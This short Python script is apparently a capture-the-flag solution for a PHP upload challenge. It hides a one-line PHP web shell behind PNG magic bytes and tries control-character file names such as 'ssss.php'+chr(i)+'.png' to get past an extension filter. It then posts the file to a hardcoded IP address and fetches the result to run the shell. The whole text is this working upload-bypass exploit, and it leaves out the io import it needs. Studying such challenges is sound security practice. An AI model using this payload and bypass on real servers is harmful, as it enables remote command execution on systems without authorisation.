PHP Sucks

import re
import requests

file = io.BytesIO()
file.write(bytes.fromhex("89 50 4E 47 0D 0A 1A 0A"))
file.write(b'<?php echo system($_GET[\'ss\']); ?>')
for i in range(30, 40): # $ will work
    file.seek(0)
    name = 'ssss.php' + chr(i) + ".png"
    print(name)
    try:
        r = requests.post('http://34.132.132.69:8002/chal/upload.php', files=[('file', (name, file, 'image/jpeg'))], data={"submit": "", "name": "SS"}).content.decode()
        url = "http://34.132.132.69:8002/chal/" + re.search(r'<a href=\'(.*?)\' target=', r).group(1)
        print(i, requests.get(url).content)
    except:
        pass